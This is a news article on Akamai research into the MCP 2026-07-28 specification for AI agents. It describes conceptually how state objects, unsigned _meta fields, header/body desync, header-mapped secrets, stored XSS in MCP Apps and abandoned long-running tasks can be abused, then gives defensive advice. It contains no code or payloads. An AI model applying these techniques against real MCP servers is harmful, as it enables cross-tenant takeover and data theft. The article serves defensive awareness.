New MCP specification kills old risks but opens fresh attack surfaces, Akamai finds

A major overhaul of the Model Context Protocol due next month removes several longstanding protocol-level security risks but hands developers a fresh set of attack surfaces to defend, according to research published today by Akamai Technologies Inc.

The analysis examines the MCP 2026-07-28 specification, the biggest architectural change to the standard since Anthropic PBC created it to connect artificial intelligence agents to external tools and data. The final version is scheduled for release on July 28, following a release candidate published in May and carries a 12-month deprecation window for some legacy functionality. Akamai’s researchers call it the protocol’s transition from a local, single-user tool into a platform built for enterprise-scale, cloud-native deployment.

The rebuild closes off a class of risks that defined earlier versions. Previous releases relied on a stateful initialization process that established long-lived sessions through the Mcp-Session-Id header, a high-value target because an attacker who stole one could impersonate an authenticated user.

The new specification removes protocol-managed sessions entirely, eliminating that vector. It also strictly limits the server-initiated prompts that earlier versions allowed, which had let a compromised server interrupt users with unsolicited and potentially malicious requests. A move to mandatory OAuth 2.1, with legacy password and implicit grants gone and protections such as PKCE required, further cuts the authentication risk.

The tradeoff is that security decisions the protocol used to enforce now fall to the developers and platform operators building on it. Akamai outlines several new areas where the safety of an MCP deployment depends on how well it is implemented.

The first follows directly from the move to a stateless model. Because the protocol no longer keeps permanent sessions, it issues tracking identifiers and state objects that the server hands to the client, which passes them back to resume a workflow. That effectively lets the client hold the keys to a task’s state. Since those values come from the client, the server cannot blindly trust them.

The risk surfaces when a server uses predictable tracking IDs or fails to validate the integrity of a returned state object. An attacker could then guess or alter those values to hijack another user’s active workflow, reach data belonging to a different agent or trigger unauthorized cross-tenant actions. The specification warns developers to verify those objects but does not set a standard for how, Akamai noted, leaving the work to individual server developers.

A second risk lies in a new _meta object that lets clients attach custom metadata to almost any MCP message. The fields carry no cryptographic signature. An attacker can slip in their own key-value pairs, say a tenant labeled “admin.” If the server uses that metadata to make routing or authorization calls, that one forged pair hands them privilege escalation or cross-tenant access. One request is enough.

MCP also defines its own HTTP headers, Mcp-Method and Mcp-Name among them, so proxies and gateways can route requests without digging into the body. That trust is the weakness. Send one value in the header, another in the JSON-RPC body. The proxy trusts its copy, the server trusts the other and the mismatch lets a request pass that neither would allow on its own. Akamai calls it a desync. It can slip past security controls, blind monitoring or bury an attacker’s tracks.

A related directive, x-mcp-header, maps chosen tool arguments straight into HTTP headers, sparing proxies the cost of parsing the body. Convenient, until someone maps the wrong thing. Map an application programming interface key, a token or a piece of personal data by mistake, and the secret rides along in the header, exposed to every load balancer, proxy and log between client and server.

The fourth surface moves the problem into the browser. MCP Apps, the interactive panels such as forms, dashboards and document viewers that appear inside AI applications, are now a first-class protocol extension.

Akamai warns the feature imports stored cross-site scripting into the AI ecosystem. An attacker could store malicious HTML or JavaScript through a tool and the script would run when another user or agent views the content.

The specification requires those scripts to run inside a sandboxed iframe, which blocks a full takeover of the agent. But Akamai said a compromised panel could still display deceptive content, phish for sensitive information through fake prompts and steal whatever user data is visible in the panel.

The last is a denial-of-service vector Akamai calls “hit-and-run” task abuse. Long-running tasks are the culprit here. Spinning one up costs the client almost nothing while the server pays in processing power, memory or storage.

An attacker spawns an expensive operation with a single request, drops the connection and walks away. The server keeps churning on work nobody is waiting for, until it runs dry.

The bottom line, per Akamai, is that the question has moved. It is no longer whether MCP itself is secure. It is whether each application built on top of it gets the new trust boundaries, state handling and execution models right.

To do that, the company said, security teams should treat all client-supplied state and metadata as untrusted input, enforce cryptographic verification, apply output encoding to AI-generated visual panels, and set resource quotas on asynchronous tasks.

The report was written by Akamai researchers Maxim Zavodchik, Segev Fogel and Gal Meiri.

Image: SiliconANGLE/Ideogram